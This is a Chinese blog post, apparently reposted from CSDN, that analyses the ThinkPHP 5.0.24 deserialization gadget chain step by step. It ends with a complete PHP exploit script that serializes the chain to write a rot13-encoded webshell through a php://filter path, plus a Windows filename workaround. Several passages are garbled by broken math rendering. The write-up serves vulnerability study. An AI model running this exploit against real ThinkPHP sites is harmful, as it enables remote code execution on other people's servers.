0


thinkphp5.0.24反序列化漏洞分析

thinkphp5.0.24反序列化漏洞分析

文章目录

thinkphp5框架:

image-20220615000257518

thinkphp5的入口文件在

public\index.php

,访问

http://192.168.64.105/thinkphp_5.0.24/public/index.php

image-20220615000539160

具体分析

反序列化起点

写一个反序列化入口点

image-20220615001131637

全局搜索

__destruct()

函数

image-20220615001115342

\thinkphp_5.0.24\thinkphp\library\think\process\pipes\Windows.php

中的

__destruct()

函数,调用了removeFiles()

image-20220615001339350

跟进removeFiles(),第163行的file_exists可以触发

__toString

方法

image-20220615001418986

全局搜索

__toString方法

thinkphp\library\think\Model.php

的第2265行,发现其调用了

toJson方法

image-20220616230519422

跟进

toJson

,发现其调用了toArray()方法(在Model.php中)

image-20220616230630861

toArray

跟进

toArray

,发现其有三处可以调用

__call

方法(就是整一个可以控制的类对象,然后让其调用该类不存在的方法,然后触发

__call

魔术方法)

__call(),在对象中调用一个不可访问方法时调用。

image-20220616231036322

着重看第三处,也就是第912行,这个需要我们控制$value变量

这个$value变量是根据

 $value = $this->getRelationData($modelRelation);

而来的

getRelationData分析

跟进

getRelationData

方法,注意参数

$modelRelation

需要是

Relation

类型的,该方法也是

thinkphp\library\think\Model.php

中定义的

image-20220616235535073

如果我们让if满足,那么

$value=$this->parent

,看三个条件

  1. $this->parent存在且可控
  2. 第二个条件!$modelRelation->isSelfRelation(),跟进isSelfRelation()方法,该方法在thinkphp\library\think\model\Relation.php中定义,返回$this->selfRelation,可控

image-20220617230450476

  1. 第三个条件get_class($modelRelation->getModel()) == get_class($this->parent),也就是

跟进

getModel()函数

,该函数在

thinkphp\library\think\model\Relation.php

,返回

$this->query->getModel()

,其中$query可控

image-20220617230828281

所以我们要查哪个类的getModel()可控,最后找到了

thinkphp\library\think\db\Query.php

的getModel方法,该方法返回

$this->model

,并且$this->parent可控

image-20220617231051519

三个条件都满足,执行

$value = $this->parent; return $value;

,也就是

\think\console\Output

该函数分析到这里

$modelRelation生成

上面分析了函数的执行过程,接下来分析我们怎么能传入一个

Relation类

的$modelRelation参数

发现$relation()函数是根据$relation的值进行调用的,需要满足if条件method_exists

image-20220617231704327

跟进

Loader::parseName

瞅一瞅,这个函数也只是对传入的

$name

进行了一些大小写的替换,没有一些很严格的过滤操作,因为

$name

可控,所以$relation可控

image-20220617232020032

在$relation可控的前提下,要满足这个method_exists,则需要将$relation设定为$this(也就是thinkphp\library\think\Model.php)中存在的方法

if(method_exists($this,$relation))

这里选择getError,因为其不仅在Model类中定义,且error可控

在这里插入图片描述

所以我们只要设置了$error,那么其值就会通过

 $modelRelation = $this->$relation();

传给$modelRelation ,因为relation()也就是

 Error()

,所以就是

$modelRelation = $this->Error()

,即

$modelRelation = $error

modelRelation分析到这里,而我们传的

$error

是什么,接下来会分析,其实就是

HasOne

进入__call前的两个if

接下来要分析两个if条件

image-20220617233102696

我们看第一个if,要满足

    m
   
   
    o
   
   
    d
   
   
    e
   
   
    l
   
   
    R
   
   
    e
   
   
    l
   
   
    a
   
   
    t
   
   
    i
   
   
    o
   
   
    n
   
   
    这
   
   
    个
   
   
    类
   
   
    中
   
   
    存
   
   
    在
   
   
    g
   
   
    e
   
   
    t
   
   
    B
   
   
    i
   
   
    n
   
   
    d
   
   
    A
   
   
    t
   
   
    t
   
   
    r
   
   
    (
   
   
    )
   
   
    函
   
   
    数
   
   
    ,
   
   
    而
   
   
    且
   
   
    下
   
   
    一
   
   
    个
   
   
    ‘
   
  
  
   modelRelation这个类中存在getBindAttr()函数,而且下一个`
  
 
modelRelation这个类中存在getBindAttr()函数,而且下一个‘bindAttr`是该函数的返回值

全局搜索getBindAttr

image-20220617233345853

image-20220620155134075

其在OneToOne.php中定义,该类是个抽象类,且OneToOne类是Relation类的派生类,其$this->bindAttr可控

我们搜索继承OneToOne的类,发现HasOne类,所以可以

让$modelRelation的值为HasOne

,这个也满足

getRelationData()传入的是Relation类对象

的要求,并且bindAttr可控,满足第二个if条件,简直完美!!!

image-20220617233841235

其实下面还有一个if,但是我们简单看下,将$bindAttr的键值对中的键给$key,然后进行isset判断,当已经定义才满足if,我们要进入的是不满足if条件的时候

image-20220617234621780

__call

然后进入

__call

,要选择一个能写webshell的类的

__call

方法,选择了

thinkphp\library\think\console\Output.php

所以上面的$value应该是一个

thinkphp\library\think\console\Output.php

类对象

image-20220617114358393

在这里

    m
   
   
    e
   
   
    t
   
   
    h
   
   
    o
   
   
    d
   
   
    和
   
  
  
   method和
  
 
method和this->styles是可控的,array_unshift()对调用block()方法没有影响,可以执行
block

方法,跟进Output的

block

方法

image-20220617114621530

跟进

writeln

方法

image-20220617114702866

跟进write方法

image-20220617114808021

handle属性可控,所以全局搜索

write

方法

thinkphp\library\think\session\driver\Memcached.php

的write方法

image-20220617114921780

而$this->handler可控,所以全局搜索可用的set方法

虚假的写文件

thinkphp\library\think\cache\driver\File.php

中,set方法可以使用

file_put_contents

写文件,第158行的exit可以使用伪协议进行绕过

image-20220617194846677

初步来看可以利用file_put_contents来写文件,我们跟入

    d
   
   
    a
   
   
    t
   
   
    a
   
   
    和
   
  
  
   data和
  
 
data和filename,看

 
  
   
    d
   
   
    a
   
   
    t
   
   
    a
   
   
    与
   
  
  
   data与
  
 
data与filename是否可控
  1. $filename的值是由getCacheKey()方法决定的,跟进getCacheKey,可以知道filename的后缀名是php,是写死的,文件名部分可控

image-20220618001440689

  1. 跟进$data,发现$data是已经被写死了,$value的值只能为true

image-20220617201921089

所以就是file_put_contents可以写文件,但是内容不可控

setTagItem

所以继续看set接下来的代码,调用了setTagItem()

image-20220617202106451

进入

thinkphp\library\think\cache\Driver.php

setTagItem

方法,(注意File类继承了Driver类,但是Driver是一个抽象类)并且会再执行一次set方法,这一次$key是由$this->tage而来,可控;$value由$name而来,也是可控的

在这里插入图片描述

但是windows对文件名有相应的要求,所以复现不容易

绕过exit

上面已经分析得很详细了,这里简单调试分析一下

到$value

image-20220621201707779

到set方法这里,着重看一下,第一次整的时候,直接报错了,转到异常处理了,

image-20220621202647751

这里是因为我的文件名不符合要求,所以先随便写一个,看接下来怎么走

随便写一个之后,走到setTagItem()这里,这里$tag是可控的,所以$key是可控的

image-20220621203338705

这个第二次调用set函数,$key可知,$value可控

image-20220621230309625

放在linux运行,生成了对应的文件

image-20220621232215812

查看

image-20220621232244578

这里虽然看着是加了

'

,但是其实并没有,注意访问的时候,将

?

进行url编码一下

注意需要将php的

short_open_tag

设为

Off

,不然会将

<??>

之间的内容识别为php代码,但是<? 之后是cuc,不符合语法,所以报错

image-20220622085044431

exp

<?phpnamespacethink\process\pipes;usethink\model\Pivot;abstractclassPipes{}//Windows类中有$files数组 通过file_exists触发__toString方法classWindowsextendsPipes{private$files=[];//$files是个数组publicfunction__construct(){$this->files=[newPivot()];//触发Model类的toString()方法,因为Model是一个抽象类,所以选择其派生类Pivot}}namespacethink\model;usethink\Model;classPivotextendsModel{}# Model抽象类namespacethink;usethink\model\relation\HasOne;usethink\console\Output;usethink\db\Query;abstractclassModel{protected$append=[];protected$error;public$parent;#修改处protected$selfRelation;protected$query;protected$aaaaa;function__construct(){$this->parent=newOutput();//调用__call()$this->append=['getError'];//会用foreach将append中的值传给$name,传给$relation,调用getError(),将下面的error传给$modelRelation$this->error=newHasOne();//最后传给$modelRelation$this->selfRelation=false;//isSelfRelation()$this->query=newQuery();//用于判断getRelationData()中if条件的第三个}}#Relation抽象类 之后的Output是Relation的派生类namespacethink\model;usethink\db\Query;abstractclassRelation{protected$selfRelation;protected$query;function__construct(){$this->selfRelation=false;# 这个用于判断getRelationData()中if条件的第二个$this->query=newQuery();#class Query}}#OneToOne HasOne  用于传给$modelRelation,主要是用于满足if条件,进入value->getAttr()namespacethink\model\relation;usethink\model\Relation;abstractclassOneToOneextendsRelation{# OneToOne抽象类function__construct(){parent::__construct();}}// HasOneclassHasOneextendsOneToOne{protected$bindAttr=[];function__construct(){parent::__construct();$this->bindAttr=["no","123"];# 这个需要动调,才能之后为什么这么写,待会说    }}#Output  进入Output->__call()namespacethink\console;usethink\session\driver\Memcached;classOutput{private$handle=null;protected$styles=[];function__construct(){$this->handle=newMemcached();//目的调用Memcached类的write()函数$this->styles=['getAttr'];# 这是因为是通过Output->getAttr进入__call函数,而__call的参数中$method是getAttr}}#Querynamespacethink\db;usethink\console\Output;classQuery{protected$model;function__construct(){$this->model=newOutput();//判断getRelationData()中if条件的第三个}}#Memcachednamespacethink\session\driver;usethink\cache\driver\File;classMemcached{protected$handler=null;function__construct(){$this->handler=newFile();//目的是调用File->set()}}#Filenamespacethink\cache\driver;classFile{protected$options=[];protected$tag;function__construct(){$this->options=['expire'=>0,'cache_subdir'=>false,'prefix'=>'','path'=>'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>',//'data_compress'=>false,];$this->tag=true;}}usethink\process\pipes\Windows;echourlencode(serialize(newWindows()));

pop链图

这里借用一下

osword

师傅的图

img

解决windows下的文件名问题

我们注意到,在原有的链子中,我们在

thinkphp\library\think\session\driver\Memcached.php

中将$this->handler设置为File类对象,目的是调用File.php的

set()

方法

但是也可以将$this->handler设置为

thinkphp\library\think\cache\driver\Memcached.php

中的

Memcached

类对象,注意这两个php文件是不一样的,其也有一个set方法

第114行也有一个set方法,且handler可控

image-20220622000757213

看这个getCacheKey()函数,这个options可控,所以返回值可控

image-20220622000923068

所以$key可控,但是我们前面分析过了,这个$value不可控,所以还是要进115行的setTagItem()函数,跟进,它还是在Driver.php中定义的,这里根据前面的分析,$key和$value都是可控的,且没有那个

<>?

这样的特殊符号的影响

image-20220622001606288

详细参考:Thinkphp5.0.24反序列化漏洞分析与利用 - Yhck - 博客园 (cnblogs.com)

参考链接

  1. ThinkPHP5.0.x 反序列化_H3rmesk1t的博客-CSDN博客_thinkphp反序列化
  2. Thinkphp5.0.24反序列化漏洞分析与利用 - Yhck - 博客园 (cnblogs.com)
  3. thinkphp v5.0.24 反序列化利用链分析_kee_ke的博客-CSDN博客_thinkphp v5.0.24
  4. [(1条消息) 省信息安全技术大赛]Web4_沫忆末忆的博客-CSDN博客
标签: Web thinkphp5.0.24

本文转载自: https://blog.csdn.net/RABCDXB/article/details/125402902
版权归原作者 Sk1y 所有, 如有侵权,请联系我们删除。

“thinkphp5.0.24反序列化漏洞分析”的评论:

还没有评论